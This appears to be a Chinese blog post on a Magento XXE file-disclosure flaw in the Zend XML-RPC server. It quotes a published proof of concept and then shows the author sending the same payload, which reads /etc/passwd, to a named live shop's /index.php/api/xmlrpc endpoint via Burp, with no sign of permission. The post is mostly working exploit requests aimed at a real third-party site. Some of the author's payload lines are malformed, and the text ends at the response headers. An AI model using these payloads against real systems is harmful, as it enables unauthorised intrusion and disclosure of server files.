在wooyun-zone xsser的文章zend framework文件读取漏洞分析中有提及到magento,下面是其中的原文:

据@蟋蟀哥哥 在乌云上的漏洞报告提醒,一些开源软件因为使用了zend framework的xml模块功能导致存在了问题,Magento就是其中一个典型的软件,并且已经有多个在线网店证明存在这个问题。

今天看packetstormsecurity时看到了这个漏洞的细节:http://packetstormsecurity.org/files/114710/Magento-eCommerce-Platform-XXE-Injection.html

利用方法其中也说的很明白:

Proof of concept:

-----------------
 Magento uses a vulnerable Zend_XmlRpc_Server() class (Zend\XmlRpc\Server.php)
 to handle XML-RPC requests. Hence it is possible to disclose arbitrary local
 files from the remote system. The following HTTP POST request to the
 vulnerable XmlRpc server application illustrates the exploitation of this
 vulnerability:
 
POST /index.php/api/xmlrpc HTTP/1.1
 Host: $host
 
<?xml version="1.0"?>
  <!DOCTYPE foo [
   <!ELEMENT methodName ANY >
   <!ENTITY xxe SYSTEM"file:///etc/passwd" >]>
 <methodCall>
  <methodName>&xxe;</methodName>
 </methodCall>

现在到magento中文社区看看演示站点。

这里拿威风网为例:

用burp提交数据包如下:

POST /index.php/api/xmlrpc HTTP/1.1
Host: www.fengbuy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1)AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1155.2 Safari/537.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Content-Length: 190

<?xml version="1.0"?>
<!DOCTYPEfoo [
<!ELEMENT methodName ANY >
<!ENTITYqingshen SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&qingshen;</methodName>
</methodCall>

在burp里面返回的数据如下:

HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8
